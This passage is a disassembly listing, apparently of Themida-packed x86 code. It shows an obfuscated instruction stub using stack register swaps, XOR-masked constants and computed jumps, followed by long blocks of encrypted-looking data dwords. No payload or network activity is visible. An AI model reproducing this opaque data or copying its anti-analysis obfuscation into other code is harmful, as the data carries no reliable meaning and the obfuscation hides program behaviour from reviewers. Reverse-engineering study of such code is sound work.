7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh dd 8D568B84h, 0D4DB10FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 1B78h mov [esp], edx push 2B0Ah mov [esp], ebp push esi push 54492769h pop esi xor esi, 5250A50Ch push esi pop edx pop esi push esp mov ebp, [esp] add esp, 4 push ebx mov ebx, 8 add ebx, 2C891AECh add ebx, ebp sub ebx, 2C891AECh mov [ebx], edx pop ebx push dword ptr [esp] pop ebp add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- db 0Ch ; --------------------------------------------------------------------------- add ah, 80h loc_5F4A5F: ; CODE XREF: Themida_:loc_5F3CF4j mov eax, 6198F0Eh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 66835DD8h, 18754A8Bh, 24945DA7h, 30134987h, 1D46C1AFh dd 1DBA688Eh, 36C5E3C0h, 606BC3BAh, 3B2B8DAAh, 627DC433h dd 1ADC996Bh, 6DD01E84h, 7EE03570h, 259CFA73h, 47F614A6h dd 6CD8C0ABh, 11C8CC96h, 61010239h, 3276A2Eh, 82C4447h dd 7BD63997h, 6E8h, 977F4400h, 0F5BB2F91h, 8E958h, 0BC410000h dd 0A859BC8Dh, 0C0817174h, 5EECh, 0C8C0Fh, 800F0000h, 6 dd 850Fh, 680000h, 0F000000h, 28Bh, 5FDA8A00h, 148BD88Bh dd 0D8BF0F38h, 3975F281h, 8B0F1240h, 6, 0A954E681h, 0F2817C31h dd 45D60E76h, 0C281DA8Bh, 5F73BB60h, 666052FCh, 0EF81CB8Bh dd 74115293h, 38048F61h, 6A7DBE66h, 81CA8B66h, 921E67EFh dd 11E844h, 563E0000h, 3B703CEFh, 4751861Dh, 0A6A4FDC0h dd 0E9164D46h, 0Ch, 0E12627DBh, 36CDCFh, 6AA8FF98h, 63C7815Eh dd 6644921Eh, 81C39CB9h, 0FFA1D0FFh, 7F850FFFh, 8BFFFFFFh dd 12E8DAh, 82F10000h, 896B8677h, 0CB262148h, 2C900B02h dd 0C3F21EE5h, 12E9h, 297ED100h, 0D1FCAC18h, 0A7DA7B2Fh dd 0AAD7D37Ch, 5BD2CA6Eh, 5FC381F5h, 0F0000D8h, 38Fh, 0D2BF0F00h dd 35ED68h, 0FE800h, 0A98B0000h, 0A948819Ch, 466CD383h dd 3462C8BBh, 88C4BAE8h, 595F7BFDh, 0B70F33FFh, 0BA665EFEh dd 0EE81A606h, 2856949Fh, 81C68B66h, 0BE1BADF6h, 0BAF6814Ch dd 816EC19Ah, 3586DDF7h, 8A56563Eh, 38F5AE3h, 7A40EB81h dd 8E91086h, 40000000h, 215B6897h, 8104C7B7h, 867A3CC3h dd 0A864BF10h, 0E9833ED8h, 0AD850F01h, 0B6FFFFFFh, 0ECE965h dd 0 dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h, 10ED7C90h dd 7C90h, 276F2h, 5 dup(0) dd 0ADA00000h, 7C80h, 2Bh dup(0) dd 60000h, 0ED140000h, 0A2A31611h, 66113211h, 6681BA1Ah dd 243215h, 69D1E9AAh, 0E570FBA2h, 74A733A8h, 6F313213h dd 476B8F96h, 12113407h, 0EDDB620Ch, 62558AD5h, 0E3AB3215h dd 60033920h, 0CB81AF98h, 0B5BB3401h, 0DBA16A4Eh, 6003135Ch dd 369F4615h, 62558A46h, 0E3AB3215h, 60033920h, 0CF70AF98h dd 0B5BB3401h, 6ECB6A4Eh, 0C1113215h, 4F449CBAh, 62040DBh dd 96A35444h, 0D0497FDEh, 0EFDF531Ch, 0EDBCBBD2h, 0A2A31629h dd 66113211h, 66883DFCh, 9341E115h, 0E1AFDB46h, 9D050A80h dd 58F11D2Ah, 0F7388F96h, 6922340Ch, 66115591h, 0EF875215h dd 66443219h, 662235FCh, 0B4C8B615h, 0D26F11E5h, 969DB342h dd 3912BF08h, 0EB94BF74h, 698E2B54h, 66442A90h, 6631DB15h dd 0BEAB3215h, 0B721F24h, 8462A49Bh, 0F75E9F54h, 0A6771D13h dd 658CD37h, 6AC12EADh, 0BEA9540Eh, 0DB94BF74h, 8F8E2B54h dd 6644321Ch, 874C518Fh, 0B00CF912h, 658CD06h, 7BC69A4h dd 73E3B7D3h, 8F473407h, 66883204h, 3167D2D4h, 0AEB67FB9h dd 0D5D9C000h, 935ACE42h, 0DE165A2Fh, 6DCBAEBDh, 96113215h dd 9EF42C92h, 0AB18B44Bh, 0D3DD8860h, 60030314h, 98035475h dd 664426FDh, 3C0C7015h, 1587A738h, 0D8DF6799h, 338B4BDBh dd 0FA79679Dh, 3C4F608Eh, 1C0DBF74h, 69422797h, 66223598h dd 679E3D15h, 9A883215h, 694CDECh, 652FD294h, 0E7775943h dd 7A0C4DFh, 66DDB79Ch, 423407h, 0B19ACC9Eh, 60615274h dd 0A0443215h, 5FA6E050h, 7CDB8C9h, 6AA5B7D2h, 66443407h dd 0E82D3215h, 66113214h, 0A70DF4E9h, 23422000h, 0D92DC775h dd 697153EEh, 0EE9F4A2h, 0E8365B7Ch, 9FA95475h, 97A4CD74h dd 8F8E2002h, 66443206h, 0FE71DC12h, 0A4F9CDCDh, 0A9FA097Ah dd 0A2135941h, 0EBC6EF52h, 742A7A90h, 503E5213h, 79CB973h dd 0EFDEE2EAh, 74220790h, 0DA5213h, 71BC09Eh, 73E3B7D3h dd 6523407h, 0C47E394h, 96C52F37h, 59003FA2h, 0D4F5A74h dd 0EDE8AE72h, 6650DBDFh, 45E73215h, 0F4A8813Fh, 6FC0D39Ch dd 0AFAD9598h, 0DBB07793h, 99700C40h, 749FC3A0h, 0E3C9C713h dd 6030095Dh, 66113DFCh, 6104D715h, 85CAE2D9h, 523478E5h dd 44947529h, 8EE8E2EAh, 6644321Ch, 8B4F810Bh, 7C077ABDh dd 126DB23Bh, 0C5148C4Ch, 0EF4330B2h, 7F805690h, 669BDB13h dd 84743215h, 0C07C2A8Eh, 97E421FDh, 605FBD0Fh, 6F2AC990h dd 0E3E4CEAEh, 600327D4h, 6686DB41h, 71923215h, 0F10F8E74h dd 0BD35533Ah, 429CD187h, 42C1B7Dh, 0DA52FBh, 77442ABh dd 717987EAh, 0E34B3407h, 6622321Fh, 661137FCh, 0B2829415h dd 0E3C93AA3h, 6030095Dh, 6603DB75h, 470E3215h, 0EBEC6A61h dd 8DE38BC5h, 0BB60C265h, 78B4AF6Bh, 794B973h, 8FF2CDE9h dd 66113218h, 0F07B18F6h, 40385EA4h, 5A8E6AEDh, 0E94BB0Ah dd 68E2B84h, 6997B973h, 0A043E0A2h, 7404F390h, 76617713h dd 36443215h, 0C6832A31h, 9ED2CB4Eh, 0F54BE8DAh, 0E3EA921h dd 0BC420AD7h, 6610B11Ah, 997D3215h, 7453C3A0h, 6CA43D13h dd 8F113215h, 66883210h, 0FF84F154h, 2EA7BFD8h, 8F17202Eh dd 6688321Ch, 4FB62E30h, 81CFE0B1h, 9EC1CD3Bh, 0F7E4B79Ch dd 61AD340Ch, 0F7223215h, 9CB108D9h, 0DB0B8C77h, 60563CFCh dd 99A73D15h, 8F113215h, 66883210h, 7F1AE737h, 0A7A7F4C4h dd 23172000h, 6689B31Ah, 0EBC3215h, 9C024C93h, 661DB81Ah dd 69E83215h, 6644329Eh, 0EF9B5415h, 61F853DFh, 6B883215h dd 0E65B2874h, 0D3DDA16Fh, 600325E4h, 8F4EB875h, 66443213h dd 0B63D1842h, 8F70F76Eh, 66883201h, 0FD389DF0h, 0BCE2DC37h dd 0ED9ACE6Bh, 273D099Dh, 0BA2942ABh, 5D6AB798h, 99E43407h dd 6684DBC5h, 1CAC3215h, 478F563Eh, 0E2545A44h, 0E301960Fh dd 605DA365h, 663BB61Ah, 72F83215h, 15883215h, 111842D2h dd 1FAE85A5h, 52104038h, 569CBD54h, 0A01915CDh, 7437F390h dd 0E01E7E13h, 66883218h, 66C93D75h, 223215h, 0F9FCF994h dd 0B64B5A74h, 724D233h, 9797CDECh, 69172002h, 6688339Bh dd 0E3C9CE15h, 6030095Dh, 9AC1CDE0h, 0F7FCB79Ch, 0E14B340Ch dd 66223219h, 6617B01Ah, 0EF873215h, 66443215h, 6622F9FCh dd 0E3D7CB15h, 609A27D4h, 6643DB47h, 58DF3215h, 171FFED0h dd 6681DB06h, 5AA43215h, 59C8066h, 0ED59567h, 0DAC2D618h dd 0E7F1CDECh, 8F242025h, 6611321Fh, 0ACBBEF4h, 0F5DE7683h dd 0E3AFDEA8h, 6003095Dh, 9E58CDE9h, 0F734B79Ch, 6DA340Ch dd 0F1F1B373h, 76033D46h, 8F443215h, 6622321Eh, 4AA50FC8h dd 8A1DD1DCh, 7926BE7h, 73E3B7D3h, 9F433407h, 2AC27A7Dh dd 664DDBB3h, 0CA6F3215h, 41AF3CF6h, 99325806h, 7474B3A0h dd 662CDB13h, 6C63215h, 54E0CAC3h, 73D69FF2h, 48D039C1h dd 5D59B798h, 6C613407h, 47443215h, 0D369A6Ch, 0BFCBDF82h dd 9E58CDCDh, 0F730B79Ch, 6FCB340Ch, 0E2113215h, 5EC2988Eh dd 2D191D36h, 73E3B7D3h, 8F433407h, 6688321Dh, 62BEB8C2h dd 2458ABE2h, 24A5D87Dh, 6698DBE8h, 59713215h, 0D08B272Ch dd 0EF42279Eh, 0C15829F5h, 0D3BBB167h, 603025E4h, 2E94BFECh dd 68E202Eh, 8FFDF395h, 6622321Eh, 0A37CC9E7h, 0B27E812Ch dd 7F0FD47h, 91953D75h, 66933D75h, 30883215h, 9925534Dh dd 6636DBC5h, 837F3215h, 0B1A5CEDDh, 710E4141h, 87EED470h dd 9EDD9DA0h, 0EF71499Bh, 746DA390h, 6AA43D13h, 69113215h dd 6688349Eh, 66CD3D15h, 0A0223215h, 7404F390h, 0E84513h dd 0ED6EF194h, 66223AFCh, 523B5815h, 4B248545h, 0C52C5312h dd 6D1A5BDh, 7E8EA9Fh, 55D587EAh, 69AD3407h, 4E223215h dd 2B7B2EE8h, 0CAB222E7h, 0B8092CB3h, 0E3AFEB02h, 6003095Dh dd 66883CFCh, 3D8DF15h, 1CEE6388h, 6CE5A812h, 995F91BFh dd 6656DBC5h, 91823215h, 0DCF8B470h, 9973D1Ch, 0B112A4ABh dd 27496CC2h, 4C20B79Ch, 0E83407h, 0BAA7D094h, 743CE75h dd 73D0B7D3h, 93DA3407h, 0BB75257Dh, 6EA33D9Fh, 69113215h dd 6688309Bh, 99255215h, 7435C3A0h, 6602DB13h, 0BD163215h dd 0BFCB0E29h, 0B1B26E6Eh, 669157B4h, 0FC2E0297h, 2EC1BF58h dd 8F24202Eh, 6611321Ch, 13438D0Ch, 0D8027B7Dh, 8FF2CDBAh dd 6611321Eh, 928C33F7h, 0C9CCF59h, 0EF82D3E4h, 74217790h dd 0E34ECA13h, 605627D4h, 5F4ACB43h, 8FC52D78h, 66883213h dd 0F5C399E8h, 61CBD40Dh, 0C0113215h, 91EFA111h, 0D3BB73B7h dd 60300314h, 66113DFCh, 1870AE15h, 85CF8667h, 0DA77F94Ah dd 5F53A2D4h, 668839FCh, 980C3215h, 344F0405h, 9092045Bh dd 0E4F2B798h, 69243400h, 0D49BFCAAh, 755BFA0h, 0BE035475h dd 694CD74h, 66223FFDh, 19240915h, 0B016B14Bh, 0F50358CBh dd 0ADA982CDh, 0A1DAB34Ch, 7CFA316h, 5545B79Ch, 69CB3407h dd 7B113215h, 0DD8FA32Ah, 9B6249CEh, 0DF40A52Fh, 0E3D70AD6h dd 609A27D4h, 664EDB52h, 0DF7F3215h, 48737801h, 0B219682Fh dd 0BA54487Dh, 662ADB94h, 84713215h, 397E1E3Eh, 0D3BB7B31h dd 603025E4h, 0E39CCBEDh, 609A095Dh, 664ABF1Ah, 0E7423215h dd 0ACC71EFAh, 66033D32h, 7443215h, 42E2EAh, 8E3745ABh dd 66883204h, 433EC85Dh, 0D44D9197h, 0F464A7F7h, 0C75C69D8h dd 0A9F33DD1h, 0E3AB534Ah, 60032CFCh, 6689B81Ah, 0A0B83215h dd 7437F390h, 68F87513h dd 4883215h, 180D021Eh, 0EED91D44h, 7A62941Eh, 0D36A5A15h dd 8F24B81Ah, 66223210h, 307AC7B8h, 0A5035407h, 97F1CD74h dd 6242002h, 6611B51Ah, 0E7D93215h, 4183FADBh, 0EB43684Dh dd 742A7A90h, 0B677CA13h, 278575h, 751CDAEh, 0F785B79Ch dd 6961340Ch, 0BE443215h, 0FC9F7BF4h, 0AD3CDA7h, 89BBDCB2h dd 0E383AC26h, 6030263Ch, 6611326Dh, 668834FCh, 0A9F80915h dd 0E5685FEBh, 74305FA8h, 0E2873213h, 66442B04h, 662EB91Ah dd 0EE1E3215h, 66883213h, 6644B21Ah, 0E3E43215h, 600327D4h dd 6F053D59h, 6443215h, 0C8D4B373h, 7908108h, 0BC94DB7Dh dd 6BCF3DCCh, 6223215h, 0CF50C2ADh, 66083D6Eh, 7443215h dd 71D387EAh, 0EBE83407h, 74B37A90h, 6654DB13h, 8E103215h dd 0B3884AEAh, 36DA7556h, 2BE0E0B0h, 0B6DD0369h, 6FF95275h dd 0A9883215h, 0C6FCFDB3h, 7BC1E3DDh, 661DDB4Ah, 0B5DC3215h dd 0E54F61FAh, 63052260h, 0D1705F84h, 0E30153F6h, 605DA395h dd 6628DB75h, 0E8843215h, 0A7533BDBh, 0B3D80F20h, 0E3E4CB74h dd 600327D4h, 69073D59h, 8F443215h, 6622321Fh, 0DEBDE62Dh dd 9F76F102h, 69AD035Dh, 0E7223215h, 0B98C40Bh, 5E7FAF8Eh dd 88921CD3h, 0A84AA179h, 6CC46CBh, 66883DFCh, 0D9159C15h dd 3A52F566h, 0EAA68262h, 67FA1F6Ch, 330AC394h, 9F4304D3h dd 71E087EAh, 0EB713407h, 747F7A90h, 8F42CB13h, 6611321Fh dd 0E271F04Fh, 82013ACBh, 0A9985AD4h, 7483F20h, 0EF71E2EAh dd 7FD5B690h, 0E72DCE13h, 66113205h, 668839FCh, 90CABF15h dd 0C0E1CDACh, 9F31C3EEh, 7349B7D3h, 6083407h, 0ED786375h dd 63F953E6h, 58883215h, 0EA45A877h, 77CE49Eh, 0E7930D7Dh dd 6680DBA2h, 10C13215h, 189B75E5h, 0D3EE8354h, 609A25E4h dd 664426FCh, 3DFB1D15h, 5551CD55h, 0BEC66E0Ch, 18DBF370h dd 5680A6FAh, 2E94BF93h, 698E202Eh, 6644289Eh, 7425215h dd 661122FDh, 0B41DF315h, 75952A21h, 0BE0B479h, 0CE33D33h dd 99E96956h, 7BC73DC5h, 6223215h, 661139FDh, 0F9046F15h dd 0F53A4946h, 270E5E54h, 6614DB4Fh, 52D13215h, 7BABB8Ch dd 0F7AAB79Ch, 71340Ch, 77DFA9Eh, 7385B7D3h, 66E3407h dd 43F70BADh, 7EE05354h, 8FF71D55h, 6622321Fh, 0DD5A46BFh dd 9A9B13CAh, 0D3BB8A5Bh, 603025E4h, 661123FCh, 4429B815h dd 0E1F05CB9h, 0AEAFA247h, 0A58A7901h, 0E30527B7h, 6056095Dh dd 6624BB1Ah, 31713215h, 7E9524Bh, 0EA4BE2EAh, 66223214h dd 0EE94BBECh, 68E2B84h, 47FC5443h, 31916CD5h, 0A794F474h dd 208E2000h, 0FFB1B275h, 2EEDB373h, 72795343h, 632EC13h dd 91FF5444h, 99436958h, 7406C3A0h, 0A9095213h, 277EDE8Ah dd 643CC9Eh, 25A1EB94h, 0C0317A2Ah, 72EADE8h, 5D6AB798h dd 0EB1E3407h, 66883214h, 694CDE9h, 0E3AB53E9h, 6008A385h dd 6689B81Ah, 0A0B83215h, 7437F390h, 6717513h, 0D03EC2AFh dd 725527Eh, 9C118C73h, 766B5A74h, 0D0E8B3C9h, 1B84B232h dd 9797CD74h, 6172002h, 668839FDh, 0A0F615h, 31E5122Ah dd 26612955h, 6688BA1Ah, 61D3215h, 6622B11Ah, 14A63215h dd 0E3055374h, 6056095Dh, 662238FCh, 34567115h, 0C25A9745h dd 99754E58h, 68CBCBC5h, 27113215h, 3488827Fh, 9FCD2856h dd 0E47C2E24h, 0FE94BBFBh, 68E2B84h, 6646BD1Ah, 0B1A93215h dd 0E3D753E0h, 609A27D4h, 0CA2CCA52h, 93CDB59Bh, 71E087EAh dd 6C613407h, 0AA443215h, 0C7ACCC6Bh, 0E391E2ABh, 2E0DBFA0h dd 9F42202Eh, 77CBE2EAh, 39113215h, 6840B5EFh, 59A7340h dd 22AE6647h, 0A4B2D53Dh, 0F714B79Ch, 9324340Ch, 0A7A7F474h dd 21172000h, 0C15A5AECh, 99B1E68Fh, 7435C3A0h, 699D3D13h dd 6883215h, 8FF7DD95h, 66223210h, 63134790h, 0E305535Bh dd 6056095Dh, 0B6DDCEEDh, 6AF9CE75h, 0A7883215h, 0F4D7B37Ch dd 0BB788CDEh, 8F25B28Ch, 66883213h, 1BBCF48h, 77BBE36h dd 0F7B1B79Ch, 8F70340Ch, 6644321Eh, 0FE32326Bh, 2B89FCFAh dd 0A029643Dh, 7451F390h, 0D2427513h, 627953C8h, 6932F32Ch dd 66442796h, 6632DB15h, 4C293215h, 0BA7D96EFh, 914D8021h dd 4004A011h, 0D3EE09E7h, 609A25E4h, 64C73D75h, 34223215h dd 0DCF3B24Eh, 5D3B5274h, 0E3C953EDh, 6030095Dh, 6617DB75h dd 58853215h, 0AF1EF0C0h, 4EE5B344h, 3F378F19h, 658CD74h dd 0EF25F09Eh, 7FB39690h, 75953D13h, 8F883215h, 6644321Bh dd 0FAB17999h, 14541446h, 7F35DCFCh, 0ED2410E3h, 0DBA153D6h dd 60032534h, 0A30D3D15h, 6443215h, 66223BFDh, 0D7DC5215h dd 2AFEFBECh, 0E44BA752h, 66223215h, 23F0B34Fh, 7F8292Dh dd 7385B7D3h, 6653407h, 77F841A4h, 0AF883215h, 4D648196h dd 2A8FE3FFh, 4F54E5B1h, 2633CC60h, 6654DB74h, 15023215h dd 723BF843h, 3C340A78h, 8E4F8896h, 14A044Bh, 93F14038h dd 717987EAh, 63AD3407h, 42223215h, 0E2C88C7Dh, 6686B91Ah dd 6FAD3215h, 0C5223215h, 994BA29Ch, 17A715EFh, 5D0CB798h dd 99DE3407h, 661EDBC5h, 9E533215h, 0D536C522h, 32C05914h dd 0ACCC57C9h, 0CE0DBB7Ah, 8F422B84h, 6622321Fh, 4B518B34h dd 1D75F346h, 77AD20E5h, 0F5223215h, 0FA7BB7AAh, 42EEE98Dh dd 0A638F4B3h, 0F12965CDh, 73D0B7D3h, 6CF3407h, 505103AEh dd 2CF3B272h, 679A3D74h, 9E883215h, 4FF7837Dh, 0D3DDC79Bh dd 600325E4h, 668DDA75h, 8BAC3215h, 0EC33E860h, 0EB706AC8h dd 74B37A90h, 6655DB13h, 0FC293215h, 0D6DE9C25h, 7E12916Ah dd 0B304E352h, 998C0DE1h, 357152C5h, 749B84Ch, 792D895h dd 0F78EB79Ch, 61F8340Ch, 0A0883215h, 7CC58CF5h, 0E3E4462Ah dd 600327D4h, 6699DB56h, 122A3215h, 84154F7Ah, 5EBCB73Dh dd 4EC1C069h, 0E6AE7A7h, 0A65478B2h, 0D3EECEEDh, 609A25E4h dd 2EC1BFEDh, 624202Eh, 0E11EC39Fh, 6688321Bh, 66443BFCh dd 0BC2EC615h, 4E500537h, 9FE968EFh, 6FADE2EAh, 44223215h dd 29AB4D64h, 9500614Bh, 0F7F4B79Ch, 74CB340Ch, 0DE113215h dd 6F584F8Bh, 23728A70h, 6BD2AE57h, 0B2D11AE2h, 6686DB21h dd 59E83215h, 6E1D8C43h, 0E980C5F9h, 0AC54B1F1h, 7385B7D3h dd 696E3407h, 66113A9Eh, 745215h, 3350E194h, 0AC95A74h dd 72F8C973h, 22883215h, 697AD5A8h, 2BE9E5EFh, 462C835Ch dd 11663140h, 990FFF97h, 74116FA0h, 0D2E45213h, 0E30553D8h dd 6056095Dh, 8FF2CDE9h, 66113213h, 6BBBC61Ch, 0E3CDCF9Dh dd 603BA051h, 66113AFCh, 255BBA15h, 0CA16B9F0h, 0A7A7F46Bh dd 22172000h, 668823FCh, 2A940815h, 2CD4C38Ch, 0C666FEA9h dd 0FCE36B44h, 332C3785h, 699419Bh, 661137FDh, 0D35A8E15h dd 724A6C7h, 7F2B94Fh, 71E087EAh, 6B613407h, 443215h, 847F56CEh dd 68218813h, 233FCDD8h, 6642B01Ah, 69423215h, 7E8FBA2h dd 5DC0B798h, 0EF4B3407h, 66223214h, 9FC1CDE9h, 0F73CB79Ch dd 69B8340Ch, 66223391h, 0E3D7CB15h, 609A27D4h, 8CFF5256h dd 752EC8Bh, 0E87FCE7Dh, 71033DA9h, 6443215h, 8FFD8D1Ah dd 66113218h, 0C2CDFA71h, 978AE7Bh, 2857CBC0h, 0D3EE5382h dd 609A25E4h, 664CBD1Ah, 0E52D3215h, 66113217h, 0E3055375h dd 6056095Dh, 662238FCh, 0CA43B915h, 80AEC6Bh, 994159A7h dd 9DA952C5h, 0DE94BB74h, 698E2B84h, 66441390h, 0EA2D5215h dd 66113215h dd 668826FCh, 1D7E3B15h, 1AB9B432h, 0D7C87752h, 0AACB9EB8h dd 0A439C2B9h, 0E3E45367h, 600327D4h, 67013D46h, 9E443215h dd 761C987Dh, 0DF7752D3h, 8FE8BE40h, 6644321Ah, 0C6FB6013h dd 97C4A536h, 95C66BEFh, 0E733366Fh, 0F69FA3E2h, 99705373h dd 749FC3A0h, 6641DB13h, 5C4A3215h, 64F6641h, 64C395h dd 71B80ADh, 5D6AB798h, 0ED1E3407h, 66883201h, 66443DFCh dd 8FFB3F15h, 0D537AB8Eh, 3FD3F260h, 74ECC598h, 8F42E2EAh dd 6611321Eh, 24A4A561h, 3057C128h, 6BF1A3Fh, 6611B11Ah dd 0E9873215h, 66443215h, 0E3AB5374h, 6008A3A9h, 668821FCh dd 0EDBDE115h, 12179C63h, 712D5699h, 6D293762h, 0A01107FCh dd 48438F96h, 69113407h, 668B4291h, 8E24C715h, 66223218h dd 0F409ED49h, 8716E687h, 0B35C8AC2h, 38435269h, 7D0B973h dd 7349B7D3h, 8F023407h, 6622321Ch, 2EA6BEE0h, 4A78A79Ah dd 0A8755AD0h, 0EE2DC883h, 66113212h, 6689BA1Ah, 99B83215h dd 7435C3A0h, 0E39CCE13h, 609A095Dh, 6994CDE0h, 6622369Ah dd 3E415215h, 7E0DBB74h, 8F422B87h, 6622321Bh, 93A8EEFDh dd 6E50C9CAh, 0B33D161Ah, 0E3E49AB6h, 600327D4h, 80085253h dd 0BECF5483h, 5CF45A74h, 0E81ECEB2h, 66883200h, 664BBA1Ah dd 6CCB3215h, 0B2113215h, 4D98FB6Eh, 0E51C072Fh, 9797CDA5h dd 93172002h, 5DC0B798h, 0EB4B3407h, 66223214h, 8FC1CDE0h dd 6688321Fh, 94E814ADh, 3E134F0Ch, 0E398C2AAh, 6091A03Dh dd 0A5C55475h, 0A0436157h, 7404F390h, 0E7D7413h, 0F4B89615h dd 662EB41Ah, 0E41E3215h, 66883213h, 6644BE1Ah, 0D3DD3215h dd 600325E4h, 620D3DECh, 6443215h, 0EB435375h, 742A7A90h dd 0B677CE13h, 664422FCh, 0ED748015h, 0E8FF1A60h, 6896FBC4h dd 0A3F60A46h, 4AA7BBDDh, 69172B87h, 66883691h, 0BFCF5215h dd 0A7A7F474h, 20172000h, 66883DFCh, 0B2AA7C15h, 0D425105Fh dd 0C7DC625Fh, 0CD1A0156h, 0B20B587Dh, 0E02DC7E3h, 66113202h dd 6687DB75h, 0BD8C3215h, 3024E423h, 8D4BA692h, 0F3988166h dd 9925CE8Eh, 7435C3A0h, 69E95213h, 66882794h, 664BDA15h dd 0F6513215h, 7EF3B591h, 0AA19502Ah, 4BE922Fh, 69436CABh dd 6611249Fh, 6699DB15h, 2CAA3215h, 5CD9C391h, 0E7A32EF0h dd 18FFF93h, 0EBB0C9AEh, 74197A90h, 85905213h, 2025EAA2h dd 0BEB3B373h, 0B6DD5333h, 0D11E52E9h, 903154C4h, 0E3CD5360h dd 603BA025h, 6610B01Ah, 0A0703215h, 7451F390h, 8F427413h dd 66113204h, 0EEAA9775h, 1742393Dh, 2EEFB38Eh, 0E87ABF90h dd 80095451h, 0E25F2C7h, 0F2EF62F2h, 661123FCh, 0DDD0CF15h dd 7B2F58BFh, 7EAE223h, 0F748351Ah, 0D377194Ch, 605625E4h dd 3EDE6575h, 661139FCh, 81B31015h, 4360609h, 0B0025A93h dd 2E94BF74h, 698E202Eh, 6644339Fh, 0B6DDCB15h, 661138FCh dd 939E1F15h, 0BF3807B3h, 0EF659FCFh, 7F832E90h, 6687DB13h dd 18293215h, 0B8A291B8h, 11B15FF9h, 0A5C4A01h, 0A7C1F444h dd 20242000h, 64983D75h, 0D1883215h, 664EDA2Ch, 0B30B3215h dd 0F3FD5486h, 58A5BF4Ah, 664420FDh, 0B74ADF15h, 0EDAFB816h dd 9DD6D588h, 0A2AB5C1Ch, 3D90B80Ah, 5D79534Bh, 9E391061h dd 71B587EAh, 0EBDB3407h, 742A7A90h, 7F043D13h, 69443215h dd 6622219Eh, 661FDB15h, 5B513215h, 5EF7C94Dh, 610B107h dd 56BB8B4Eh, 0EF70E2EAh, 7FD61290h, 6624DB13h, 8CE73215h dd 1B6F70EBh, 7385B7D3h, 8F643407h, 6611321Fh, 952C4A11h dd 2A1944FDh, 8B4A26E1h, 8FCE4BFFh, 66883201h, 0A4787356h dd 6929DD6Eh, 12899D14h, 0FDFF7FF4h, 7123414Ah, 6623BD1Ah dd 99E83215h, 749FC3A0h, 69C43D13h, 8F223215h, 6611321Fh dd 264D488Fh, 655463ACh, 0E3AF7C6Eh, 6003095Dh, 2B568B75h dd 0E14B6E5Bh, 66223214h, 0B6EE53E9h, 297BB375h, 71DA452h dd 0D12DCE75h, 0E39853ECh, 6091A031h, 47F9B1ECh, 66242002h dd 669CB71Ah, 0EB873215h, 66443214h, 0E3E4CAECh, 600327D4h dd 7E043D46h, 8F443215h, 66223206h, 72C2991Ch, 454E9501h dd 70A2548h, 8B999300h, 0E2DBA63h, 0A836D24Bh, 97F1CDE0h dd 69242002h, 66112393h, 0D9875215h, 6642DAC3h, 0DB223215h dd 5C5C905Eh, 6F61534Fh, 0B7443215h, 0E7C59422h, 1DBCB474h dd 5DC0B798h, 99B83407h, 0E3ABCBC5h, 6008A3D5h, 6684B41Ah dd 0EF4B3215h, 66223213h, 6611BC1Ah, 0E9873215h, 66443212h dd 6623BA1Ah, 0A0E93215h, 749DF390h, 74AD7513h, 3223215h dd 44ADD281h, 0DBBB16ECh, 0FDC1D4D9h, 0F4848A60h, 6EF95295h dd 64883215h, 102523A6h, 0E648DDA1h, 4EC9DCh, 6651C294h dd 38C35A74h, 6ACBF5A4h, 0F0113215h, 80C81E48h, 73A26EA4h dd 99D089D5h, 7406C3A0h, 669ADB13h, 8FD93215h, 0B05D4F72h dd 373765D8h, 2E90A772h, 0DAE73BF3h, 5D6AB798h, 6EF83407h dd 70883215h, 1D508AF6h, 99BFDC1Ch, 67943DC5h, 93883215h dd 0F780B79Ch, 0E5DA340Ch, 740613A8h, 0E3873213h, 6644324Ah dd 0AE1B275h, 7A1D295h, 7349B7D3h, 9E033407h, 45C377Dh dd 0D3EECEF3h, 609A25E4h, 664438FCh, 5F49E415h, 433509FCh dd 0EB120719h, 747F7A90h, 62AD3D13h, 6113215h, 99E9E29Eh dd 81C452C5h, 60A73D9Fh, 0E7113215h, 0E8C95CF5h, 24537Eh dd 9FA9F09Eh, 0AE94BB74h, 68E2B84h, 0A025C89Eh, 7437F390h dd 0EED7113h, 0F4F23BE3h, 389DB375h, 69493C96h, 66113199h dd 97373D15h, 97F1CD74h, 93242002h, 5D59B798h, 6E83407h dd 70DDD95h, 7F18D1Ah, 0EFE8E2EAh, 7F19FE90h, 0E382CB13h dd 603027D4h, 78923D56h, 6883215h, 664420FCh, 32CCFC15h dd 1D64A66Dh, 0AFD490DDh, 0E2D34A6h, 0DF2F1BD8h, 74BDE29Ch dd 0F1A85A74h, 0EE4BCE34h, 6622320Dh, 661121FCh, 0B7D80C15h dd 1075C10Eh, 0ED7806D1h, 4876760Ch, 0A42FD2B0h, 71B587EAh dd 0EA2D3407h, 6611321Dh, 668ABE1Ah, 7243215h, 5D6AB798h dd 9F713407h, 0B681F094h, 99257B9Ch, 6632DBC5h, 7CF73215h dd 43AA024Bh, 0ACE75D2Fh, 0DB9A10E0h, 0E3986F66h, 6091A3C5h dd 6643BB1Ah, 0E42D3215h, 66113214h, 4735B1E0h, 66422002h dd 6711B71Ah, 68F83215h, 0AA883215h, 212DADF7h, 0DA8BD97Dh dd 0AC4BAC0h, 0A70DF475h, 25422000h, 66223EFCh, 0E7F69415h dd 1D25B474h, 0BD3C93D5h, 0CE215A93h, 0E51EB915h, 66883200h dd 664CDB75h, 9C5B3215h, 0C26C7804h, 0E287A233h, 66443215h dd 9797CD74h, 69172002h, 66883A9Dh, 64C33D15h, 6223215h dd 2E94BF74h, 8F8E202Eh, 6644321Ah, 0A0E6CA67h, 0FE19A9E7h dd 120B4E62h, 999162B7h, 42CAC5h, 0D7133CAAh, 0E301531Bh dd 605DA3CDh, 662234FCh, 53DACD15h, 8F34B91Ah, 6644321Eh dd 497BEF8Fh, 92FE6C26h, 0A04EC31Ch, 7451F390h, 0E52D7113h dd 66113212h, 6689B31Ah, 0EBC3215h, 837904C0h, 661139FCh dd 0C2A08915h, 0C6EA4936h, 1ED48DBBh, 6CF8CB75h, 5E883215h dd 6C901C21h, 82108D9Fh, 0D3EE5311h, 609A25E4h, 6B15275h dd 77CB5374h, 4B113215h, 0E8C22A32h, 0FDD6620h, 0F7751C9Ch dd 